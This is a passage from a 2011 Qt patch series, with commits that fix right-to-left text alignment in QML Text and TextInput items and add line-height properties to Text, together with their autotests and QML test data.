    +import QtQuick 1.0
    +import "../../shared" 1.0
    +
    +Rectangle {
    +    width: childrenRect.width
    +    height: childrenRect.height
    +
    +    TestText {
    +        width:  80
    +        maximumLineCount: 3
    +        wrapMode: Text.WordWrap
    +        elide: Text.ElideRight
    +        text: "The quick brown fox jumped over the lazy dog"
    +    }
    +}
    -- 
    cgit v0.12
    
    
    From 64c0ee4e5f1f05105ab6168ebb4cb188e8fd838f Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Fri, 28 Jan 2011 13:32:25 +1000
    Subject: Fixing right-to-left text in Text and TextInput
    
    The Text and TextInput items should now automatically flip the
    alignment of right-to-left text. Autotests also added to ensure the
    text is on the correct side (added for TextInput also).
    
    Task-number: QTBUG-15880
    Reviewed-by: Martin Jones
    ---
     src/declarative/graphicsitems/qdeclarativetext.cpp | 24 ++++++++++++++-----
     .../graphicsitems/qdeclarativetext_p_p.h           |  2 +-
     .../graphicsitems/qdeclarativetextinput.cpp        | 15 ++++++++----
     .../graphicsitems/qdeclarativetextinput_p_p.h      |  6 ++++-
     .../data/horizontalAlignment_RightToLeft.qml       | 23 ++++++++++++++++++
     .../qdeclarativetext/tst_qdeclarativetext.cpp      | 28 ++++++++++++++++++++++
     .../data/horizontalAlignment_RightToLeft.qml       | 23 ++++++++++++++++++
     .../tst_qdeclarativetextedit.cpp                   | 25 +++++++++++++++++++
     .../data/horizontalAlignment_RightToLeft.qml       | 23 ++++++++++++++++++
     .../tst_qdeclarativetextinput.cpp                  | 26 ++++++++++++++++++++
     10 files changed, 183 insertions(+), 12 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index 1e0988d..5edfc31 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -268,7 +268,8 @@ void QDeclarativeTextPrivate::updateSize()
             singleline = false; // richtext can't elide or be optimized for single-line case
             ensureDoc();
             doc->setDefaultFont(font);
    -        QTextOption option((Qt::Alignment)int(hAlign | vAlign));
    +        QTextOption option;
    +        option.setAlignment((Qt::Alignment)int(hAlign | vAlign));
             option.setWrapMode(QTextOption::WrapMode(wrapMode));
             doc->setDefaultTextOption(option);
             if (requireImplicitWidth && q->widthValid()) {
    @@ -341,6 +342,17 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
         textOption.setWrapMode(QTextOption::WrapMode(wrapMode));
         layout.setTextOption(textOption);
     
    +    QDeclarativeText::HAlignment hAlignment = hAlign;
    +    if(text.isRightToLeft()) {
    +        if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) {
    +            hAlignment = QDeclarativeText::AlignRight;
    +        } else if (hAlign == QDeclarativeText::AlignRight) {
    +            hAlignment = QDeclarativeText::AlignLeft;
    +        } else {
    +            hAlignment = hAlign;
    +        }
    +    }
    +
         bool elideText = false;
         bool truncate = false;
     
    @@ -386,9 +398,9 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
                             // Need to correct for alignment
                             line.setLineWidth(lineWidth-elideWidth);
                             int x = line.naturalTextWidth();
    -                        if (hAlign == QDeclarativeText::AlignRight) {
    +                        if (hAlignment == QDeclarativeText::AlignRight) {
                                 x = q->width()-elideWidth;
    -                        } else if (hAlign == QDeclarativeText::AlignHCenter) {
    +                        } else if (hAlignment == QDeclarativeText::AlignHCenter) {
                                 x = (q->width()+line.naturalTextWidth()-elideWidth)/2;
                             }
                             elidePos = QPointF(x, y + fm.ascent());
    @@ -435,13 +447,13 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
             height += line.height();
     
             if (!cacheAllTextAsImage) {
    -            if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) {
    +            if ((hAlignment == QDeclarativeText::AlignLeft) || (hAlignment == QDeclarativeText::AlignJustify)) {
                     x = 0;
    -            } else if (hAlign == QDeclarativeText::AlignRight) {
    +            } else if (hAlignment == QDeclarativeText::AlignRight) {
                     x = layoutWidth - line.naturalTextWidth();
                     if (elideText && i == layout.lineCount()-1)
                         x -= elideWidth; // Correct for when eliding multilines
    -            } else if (hAlign == QDeclarativeText::AlignHCenter) {
    +            } else if (hAlignment == QDeclarativeText::AlignHCenter) {
                     x = (layoutWidth - line.naturalTextWidth()) / 2;
                     if (elideText && i == layout.lineCount()-1)
                         x -= elideWidth/2; // Correct for when eliding multilines
    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    index bae2d85..01e0ab5 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    @@ -66,7 +66,7 @@ QT_BEGIN_NAMESPACE
     class QTextLayout;
     class QTextDocumentWithImageResources;
     
    -class QDeclarativeTextPrivate : public QDeclarativeImplicitSizeItemPrivate
    +class Q_AUTOTEST_EXPORT QDeclarativeTextPrivate : public QDeclarativeImplicitSizeItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeText)
     public:
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    index 911c68c..3d2466d 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    @@ -51,6 +51,7 @@
     #include 
     #include 
     #include 
    +#include 
     
     #ifndef QT_NO_LINEEDIT
     
    @@ -1094,10 +1095,11 @@ void QDeclarativeTextInputPrivate::updateHorizontalScroll()
         int cix = qRound(control->cursorToX());
         QRect br(q->boundingRect().toRect());
         int widthUsed = calculateTextWidth();
    +    Qt::Alignment va = QStyle::visualAlignment(control->layoutDirection(), QFlag(Qt::Alignment(hAlign)));
         if (autoScroll) {
             if (widthUsed <=  br.width()) {
                 // text fits in br; use hscroll for alignment
    -            switch (hAlign & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
    +            switch (va & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
                 case Qt::AlignRight:
                     hscroll = widthUsed - br.width() - 1;
                     break;
    @@ -1121,12 +1123,17 @@ void QDeclarativeTextInputPrivate::updateHorizontalScroll()
                 hscroll = widthUsed - br.width() + 1;
             }
         } else {
    -        if(hAlign == QDeclarativeTextInput::AlignRight){
    +        switch (va & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
    +        case Qt::AlignRight:
                 hscroll = q->width() - widthUsed;
    -        }else if(hAlign == QDeclarativeTextInput::AlignHCenter){
    +            break;
    +        case Qt::AlignHCenter:
                 hscroll = (q->width() - widthUsed) / 2;
    -        } else {
    +            break;
    +        default:
    +            // Left
                 hscroll = 0;
    +            break;
             }
         }
     }
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    index 9644410..1f45c11 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    @@ -66,7 +66,7 @@
     
     QT_BEGIN_NAMESPACE
     
    -class QDeclarativeTextInputPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
    +class Q_AUTOTEST_EXPORT QDeclarativeTextInputPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeTextInput)
     public:
    @@ -132,6 +132,10 @@ public:
         bool autoScroll;
         bool selectByMouse;
         bool canPaste;
    +
    +    static inline QDeclarativeTextInputPrivate *get(QDeclarativeTextInput *t) {
    +        return t->d_func();
    +    }
     };
     
     QT_END_NAMESPACE
    diff --git a/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
    new file mode 100644
    index 0000000..4f58944
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
    @@ -0,0 +1,23 @@
    +import QtQuick 1.0
    +
    +Rectangle {
    +    id: top
    +    width: 200; height: 70;
    +
    +    property alias horizontalAlignment: text.horizontalAlignment
    +    property string text: "اختبا"
    +
    +    Rectangle {
    +        anchors.centerIn: parent
    +        width: 180
    +        height: 20
    +        color: "green"
    +
    +        Text {
    +            id: text
    +            objectName: "text"
    +            anchors.fill: parent
    +            text: top.text
    +        }
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index fabae18..c9b5295 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -43,6 +43,7 @@
     #include 
     #include 
     #include 
    +#include 
     #include 
     #include 
     #include 
    @@ -83,6 +84,7 @@ private slots:
     
         // ### these tests may be trivial    
         void horizontalAlignment();
    +    void horizontalAlignment_RightToLeft();
         void verticalAlignment();
         void font();
         void style();
    @@ -502,6 +504,32 @@ void tst_qdeclarativetext::horizontalAlignment()
     
     }
     
    +void tst_qdeclarativetext::horizontalAlignment_RightToLeft()
    +{
    +    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
    +    QDeclarativeText *text = canvas->rootObject()->findChild("text");
    +    QVERIFY(text != 0);
    +    canvas->show();
    +
    +    QDeclarativeTextPrivate *textPrivate = QDeclarativeTextPrivate::get(text);
    +    QVERIFY(textPrivate != 0);
    +
    +    QVERIFY(textPrivate->layout.lineAt(0).x() > canvas->width()/2);
    +
    +    // "Right" aligned
    +    text->setHAlign(QDeclarativeText::AlignRight);
    +    QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
    +    QVERIFY(textPrivate->layout.lineAt(0).x() < canvas->width()/2);
    +
    +    // Center aligned
    +    text->setHAlign(QDeclarativeText::AlignHCenter);
    +    QCOMPARE(text->hAlign(), QDeclarativeText::AlignHCenter);
    +    QVERIFY(textPrivate->layout.lineAt(0).x() < canvas->width()/2);
    +    QVERIFY(textPrivate->layout.lineAt(0).x() + textPrivate->layout.lineAt(0).width() > canvas->width()/2);
    +
    +    delete canvas;
    +}
    +
     void tst_qdeclarativetext::verticalAlignment()
     {
         //test one align each, and then test if two align fails.
    diff --git a/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
    new file mode 100644
    index 0000000..43ea8d8
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
    @@ -0,0 +1,23 @@
    +import QtQuick 1.0
    +
    +Rectangle {
    +    id: top
    +    width: 200; height: 70;
    +
    +    property alias horizontalAlignment: text.horizontalAlignment
    +    property string text: "اختبا"
    +
    +    Rectangle {
    +        anchors.centerIn: parent
    +        width: 200
    +        height: 20
    +        color: "green"
    +
    +        TextEdit {
    +            id: text
    +            objectName: "text"
    +            anchors.fill: parent
    +            text: top.text
    +        }
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    index cd1977a..b1e0cb9 100644
    --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    @@ -102,6 +102,7 @@ private slots:
     
         // ### these tests may be trivial    
         void hAlign();
    +    void hAlign_RightToLeft();
         void vAlign();
         void font();
         void color();
    @@ -424,6 +425,30 @@ void tst_qdeclarativetextedit::hAlign()
     
     }
     
    +void tst_qdeclarativetextedit::hAlign_RightToLeft()
    +{
    +    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
    +    QDeclarativeTextEdit *textEdit = canvas->rootObject()->findChild("text");
    +    QVERIFY(textEdit != 0);
    +    canvas->show();
    +
    +    QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
    +
    +    // "Right" align
    +    textEdit->setHAlign(QDeclarativeTextEdit::AlignRight);
    +    QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
    +    QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2);
    +
    +    // Center align
    +    // Note that position 0 is on the right-hand side
    +    textEdit->setHAlign(QDeclarativeTextEdit::AlignHCenter);
    +    QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignHCenter);
    +    QVERIFY(textEdit->positionToRectangle(0).x() - textEdit->width() < canvas->width()/2);
    +    QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
    +
    +    delete canvas;
    +}
    +
     void tst_qdeclarativetextedit::vAlign()
     {
         //test one align each, and then test if two align fails.
    diff --git a/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
    new file mode 100644
    index 0000000..b11535e
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
    @@ -0,0 +1,23 @@
    +import QtQuick 1.0
    +
    +Rectangle {
    +    id: top
    +    width: 200; height: 70;
    +
    +    property alias horizontalAlignment: text.horizontalAlignment
    +    property string text: "اختبا"
    +
    +    Rectangle {
    +        anchors.centerIn: parent
    +        width: 180
    +        height: 20
    +        color: "green"
    +
    +        TextInput {
    +            id: text
    +            objectName: "text"
    +            anchors.fill: parent
    +            text: top.text
    +        }
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    index 69c1f7e..78f6693 100644
    --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    @@ -95,6 +95,7 @@ private slots:
     
         void horizontalAlignment_data();
         void horizontalAlignment();
    +    void horizontalAlignment_RightToLeft();
     
         void positionAt();
     
    @@ -662,6 +663,31 @@ void tst_qdeclarativetextinput::horizontalAlignment()
         delete canvas;
     }
     
    +void tst_qdeclarativetextinput::horizontalAlignment_RightToLeft()
    +{
    +    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
    +    QDeclarativeTextInput *textInput = canvas->rootObject()->findChild("text");
    +    QVERIFY(textInput != 0);
    +    canvas->show();
    +
    +    QDeclarativeTextInputPrivate *textInputPrivate = QDeclarativeTextInputPrivate::get(textInput);
    +    QVERIFY(textInputPrivate != 0);
    +    QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
    +
    +    // "Right" Align
    +    textInput->setHAlign(QDeclarativeTextInput::AlignRight);
    +    QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignRight);
    +    QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
    +
    +    // Center Align
    +    textInput->setHAlign(QDeclarativeTextInput::AlignHCenter);
    +    QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignHCenter);
    +    QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
    +    QVERIFY(-textInputPrivate->hscroll + textInputPrivate->width() > canvas->width()/2);
    +
    +    delete canvas;
    +}
    +
     void tst_qdeclarativetextinput::positionAt()
     {
         QDeclarativeView *canvas = createView(SRCDIR "/data/positionAt.qml");
    -- 
    cgit v0.12
    
    
    From 7c1ab9b6a8e1b3d64c08a4f5067448884b068945 Mon Sep 17 00:00:00 2001
    From: Yann Bodson 
    Date: Fri, 28 Jan 2011 11:58:10 +1000
    Subject: Add support for line spacing in Text element.
    
    This change adds the lineHeight and lineHeightMode properties.
    
    Task-number: QTBUG-14296
    Reviewed-by: Martin Jones
    ---
     src/declarative/graphicsitems/qdeclarativetext.cpp | 84 +++++++++++++++++++++-
     src/declarative/graphicsitems/qdeclarativetext_p.h | 13 ++++
     .../graphicsitems/qdeclarativetext_p_p.h           |  2 +
     src/gui/text/qtextdocumentlayout.cpp               | 17 ++++-
     src/gui/text/qtextdocumentlayout_p.h               |  5 +-
     .../qdeclarativetext/data/lineHeight.qml           | 15 ++++
     .../qdeclarativetext/tst_qdeclarativetext.cpp      | 32 +++++++++
     7 files changed, 162 insertions(+), 6 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index 5edfc31..fb1ae06 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -41,6 +41,7 @@
     
     #include "private/qdeclarativetext_p.h"
     #include "private/qdeclarativetext_p_p.h"
    +#include 
     #include 
     #include 
     #include 
    @@ -83,6 +84,14 @@ private:
         static QSet errors;
     };
     
    +class QDeclarativeTextDocumentLayout : public QTextDocumentLayout
    +{
    +    Q_OBJECT
    +public:
    +    QDeclarativeTextDocumentLayout(QTextDocument *doc);
    +    void setLineHeight(qreal lineHeight, QDeclarativeText::LineHeightMode mode);
    +};
    +
     DEFINE_BOOL_CONFIG_OPTION(enableImageCache, QML_ENABLE_TEXT_IMAGE_CACHE);
     
     QString QDeclarativeTextPrivate::elideChar = QString(0x2026);
    @@ -90,7 +99,8 @@ QString QDeclarativeTextPrivate::elideChar = QString(0x2026);
     QDeclarativeTextPrivate::QDeclarativeTextPrivate()
     : color((QRgb)0), style(QDeclarativeText::Normal), hAlign(QDeclarativeText::AlignLeft), 
       vAlign(QDeclarativeText::AlignTop), elideMode(QDeclarativeText::ElideNone),
    -  format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineCount(1), truncated(false), maximumLineCount(INT_MAX),
    +  format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineHeight(1), lineHeightMode(QDeclarativeText::MultiplyHeight),
    +  lineCount(1), truncated(false), maximumLineCount(INT_MAX),
       maximumLineCountValid(false), imageCacheDirty(true), updateOnComponentComplete(true), richText(false), singleline(false),
       cacheAllTextAsImage(true), internalWidthUpdate(false), requireImplicitWidth(false), naturalWidth(0), doc(0)
     {
    @@ -175,6 +185,15 @@ void QTextDocumentWithImageResources::setText(const QString &text)
     
     QSet QTextDocumentWithImageResources::errors;
     
    +QDeclarativeTextDocumentLayout::QDeclarativeTextDocumentLayout(QTextDocument *doc)
    +    : QTextDocumentLayout(doc) {
    +}
    +
    +void QDeclarativeTextDocumentLayout::setLineHeight(qreal lineHeight, QDeclarativeText::LineHeightMode mode = QDeclarativeText::MultiplyHeight)
    +{
    +    QTextDocumentLayout::setLineHeight(lineHeight, QTextDocumentLayout::LineHeightMode(mode));
    +}
    +
     QDeclarativeTextPrivate::~QDeclarativeTextPrivate()
     {
     }
    @@ -220,6 +239,11 @@ void QDeclarativeTextPrivate::updateLayout()
                 singleline = false;
                 QDeclarativeStyledText::parse(text, layout);
             }
    +    } else {
    +        ensureDoc();
    +        QDeclarativeTextDocumentLayout *layout = new QDeclarativeTextDocumentLayout(doc);
    +        layout->setLineHeight(lineHeight, lineHeightMode);
    +        doc->setDocumentLayout(layout);
         }
     
         updateSize();
    @@ -444,7 +468,7 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
         for (int i = 0; i < layout.lineCount(); ++i) {
             QTextLine line = layout.lineAt(i);
             line.setPosition(QPointF(0, height));
    -        height += line.height();
    +        height += (lineHeightMode == QDeclarativeText::PixelHeight) ? lineHeight : line.height() * lineHeight;
     
             if (!cacheAllTextAsImage) {
                 if ((hAlignment == QDeclarativeText::AlignLeft) || (hAlignment == QDeclarativeText::AlignJustify)) {
    @@ -468,7 +492,7 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
             emit q->lineCountChanged();
         }
     
    -    return layout.boundingRect().toAlignedRect().size();
    +    return QSize(qCeil(widthUsed), qCeil(height));
     }
     
     /*!
    @@ -1404,6 +1428,60 @@ qreal QDeclarativeText::paintedHeight() const
     }
     
     /*!
    +    \qmlproperty real Text::lineHeight
    +
    +    Sets the line height for the text.
    +    The value can be in pixels or a multiplier depending on lineHeightMode.
    +
    +*/
    +qreal QDeclarativeText::lineHeight() const
    +{
    +    Q_D(const QDeclarativeText);
    +    return d->lineHeight;
    +}
    +
    +void QDeclarativeText::setLineHeight(qreal lineHeight)
    +{
    +    Q_D(QDeclarativeText);
    +
    +    if ((d->lineHeight == lineHeight) || (lineHeight < 0.0))
    +        return;
    +
    +    d->lineHeight = lineHeight;
    +    d->updateLayout();
    +    emit lineHeightChanged(lineHeight);
    +}
    +
    +/*!
    +    \qmlproperty real Text::lineHeightMode
    +
    +    This property determines how the line height is specified.
    +    The possible values are:
    +
    +    \list
    +    \o Text.MultiplyHeight (default) - specifies a line height multiplier,
    +    \o Text.PixelHeight - specifies the line height in pixels.
    +    \endlist
    +*/
    +QDeclarativeText::LineHeightMode QDeclarativeText::lineHeightMode() const
    +{
    +    Q_D(const QDeclarativeText);
    +    return d->lineHeightMode;
    +}
    +
    +void QDeclarativeText::setLineHeightMode(LineHeightMode mode)
    +{
    +    Q_D(QDeclarativeText);
    +    if (mode == d->lineHeightMode)
    +        return;
    +
    +    d->lineHeightMode = mode;
    +    d->updateLayout();
    +
    +    emit lineHeightModeChanged(mode);
    +}
    +
    +/*!
         Returns the number of resources (images) that are being loaded asynchronously.
     */
     int QDeclarativeText::resourcesLoading() const
    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h
    index 58751e7..f3697d5 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetext_p.h
    @@ -62,6 +62,7 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeImplici
         Q_ENUMS(TextFormat)
         Q_ENUMS(TextElideMode)
         Q_ENUMS(WrapMode)
    +    Q_ENUMS(LineHeightMode)
     
         Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
         Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY fontChanged)
    @@ -79,6 +80,8 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeImplici
         Q_PROPERTY(TextElideMode elide READ elideMode WRITE setElideMode NOTIFY elideModeChanged) //### elideMode?
         Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged)
         Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged)
    +    Q_PROPERTY(qreal lineHeight READ lineHeight WRITE setLineHeight NOTIFY lineHeightChanged REVISION 1)
    +    Q_PROPERTY(LineHeightMode lineHeightMode READ lineHeightMode WRITE setLineHeightMode NOTIFY lineHeightModeChanged REVISION 1)
     
     public:
         QDeclarativeText(QDeclarativeItem *parent=0);
    @@ -111,6 +114,8 @@ public:
                         Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere
                       };
     
    +    enum LineHeightMode { MultiplyHeight, PixelHeight };
    +
         QString text() const;
         void setText(const QString &);
     
    @@ -148,6 +153,12 @@ public:
         TextElideMode elideMode() const;
         void setElideMode(TextElideMode);
     
    +    qreal lineHeight() const;
    +    void setLineHeight(qreal lineHeight);
    +
    +    LineHeightMode lineHeightMode() const;
    +    void setLineHeightMode(LineHeightMode);
    +
         void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
     
         virtual void componentComplete();
    @@ -175,6 +186,8 @@ Q_SIGNALS:
         void textFormatChanged(TextFormat textFormat);
         void elideModeChanged(TextElideMode mode);
         void paintedSizeChanged();
    +    Q_REVISION(1) void lineHeightChanged(qreal lineHeight);
    +    Q_REVISION(1) void lineHeightModeChanged(LineHeightMode mode);
     
     protected:
         void mousePressEvent(QGraphicsSceneMouseEvent *event);
    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    index 01e0ab5..36ae123 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    @@ -89,6 +89,8 @@ public:
         QDeclarativeText::TextElideMode elideMode;
         QDeclarativeText::TextFormat format;
         QDeclarativeText::WrapMode wrapMode;
    +    qreal lineHeight;
    +    QDeclarativeText::LineHeightMode lineHeightMode;
         int lineCount;
         bool truncated;
         int maximumLineCount;
    diff --git a/src/gui/text/qtextdocumentlayout.cpp b/src/gui/text/qtextdocumentlayout.cpp
    index d721c91..c1c3768 100644
    --- a/src/gui/text/qtextdocumentlayout.cpp
    +++ b/src/gui/text/qtextdocumentlayout.cpp
    @@ -513,6 +513,9 @@ public:
     
         qreal scaleToDevice(qreal value) const;
         QFixed scaleToDevice(QFixed value) const;
    +
    +    qreal lineH;
    +    QTextDocumentLayout::LineHeightMode lineHeightMode;
     };
     
     QTextDocumentLayoutPrivate::QTextDocumentLayoutPrivate()
    @@ -520,7 +523,9 @@ QTextDocumentLayoutPrivate::QTextDocumentLayoutPrivate()
           cursorWidth(1),
           currentLazyLayoutPosition(-1),
           lazyLayoutStepSize(1000),
    -      lastPageCount(-1)
    +      lastPageCount(-1),
    +      lineH(1),
    +      lineHeightMode(QTextDocumentLayout::MultiplyHeight)
     {
         showLayoutProgress = true;
         insideDocumentChange = false;
    @@ -2639,7 +2644,8 @@ void QTextDocumentLayoutPrivate::layoutBlock(const QTextBlock &bl, int blockPosi
     
                 }
     
    -            QFixed lineHeight = QFixed::fromReal(line.height());
    +            QFixed lineHeight = (lineHeightMode == QTextDocumentLayout::PixelHeight) ? QFixed::fromReal(lineH) : QFixed::fromReal(line.height() * lineH);
    +
                 if (layoutStruct->pageHeight > 0 && layoutStruct->absoluteY() + lineHeight > layoutStruct->pageBottom) {
                     layoutStruct->newPage();
     
    @@ -2714,6 +2720,13 @@ void QTextDocumentLayoutPrivate::layoutBlock(const QTextBlock &bl, int blockPosi
         }
     }
     
    +void QTextDocumentLayout::setLineHeight(qreal lineH, QTextDocumentLayout::LineHeightMode mode = QTextDocumentLayout::MultiplyHeight)
    +{
    +    Q_D(QTextDocumentLayout);
    +    d->lineH = lineH;
    +    d->lineHeightMode = mode;
    +}
    +
     void QTextDocumentLayoutPrivate::floatMargins(const QFixed &y, const QTextLayoutStruct *layoutStruct,
                                                   QFixed *left, QFixed *right) const
     {
    diff --git a/src/gui/text/qtextdocumentlayout_p.h b/src/gui/text/qtextdocumentlayout_p.h
    index 3c0383c..efc408b 100644
    --- a/src/gui/text/qtextdocumentlayout_p.h
    +++ b/src/gui/text/qtextdocumentlayout_p.h
    @@ -63,7 +63,7 @@ class QTextListFormat;
     
     class QTextDocumentLayoutPrivate;
     
    -class Q_AUTOTEST_EXPORT QTextDocumentLayout : public QAbstractTextDocumentLayout
    +class Q_GUI_EXPORT QTextDocumentLayout : public QAbstractTextDocumentLayout
     {
         Q_DECLARE_PRIVATE(QTextDocumentLayout)
         Q_OBJECT
    @@ -109,6 +109,9 @@ protected:
         void drawInlineObject(QPainter *p, const QRectF &rect, QTextInlineObject item,
                               int posInDocument, const QTextFormat &format);
         virtual void timerEvent(QTimerEvent *e);
    +    enum LineHeightMode { MultiplyHeight, PixelHeight };
    +    void setLineHeight(qreal lineHeight, QTextDocumentLayout::LineHeightMode mode);
    +
     private:
         QRectF doLayout(int from, int oldLength, int length);
         void layoutFinished();
    diff --git a/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml b/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
    new file mode 100644
    index 0000000..851d871
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
    @@ -0,0 +1,15 @@
    +import QtQuick 1.1
    +
    +Item {
    +    width: 200
    +    height: 200
    +
    +    Text {
    +        id: myText
    +        objectName: "myText"
    +        width: 200
    +        wrapMode: Text.WordWrap
    +        font.pixelSize: 13
    +        text: "Lorem ipsum sit amet, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum."
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index c9b5295..b96fbff 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -81,6 +81,7 @@ private slots:
         void embeddedImages();
     
         void lineCount();
    +    void lineHeight();
     
         // ### these tests may be trivial    
         void horizontalAlignment();
    @@ -1082,6 +1083,37 @@ void tst_qdeclarativetext::lineCount()
         QCOMPARE(myText->maximumLineCount(), 2);
     }
     
    +void tst_qdeclarativetext::lineHeight()
    +{
    +    QDeclarativeView *canvas = createView(SRCDIR "/data/lineHeight.qml");
    +
    +    QDeclarativeText *myText = canvas->rootObject()->findChild("myText");
    +    QVERIFY(myText != 0);
    +
    +    QVERIFY(myText->lineHeight() == 1);
    +    QVERIFY(myText->lineHeightMode() == QDeclarativeText::MultiplyHeight);
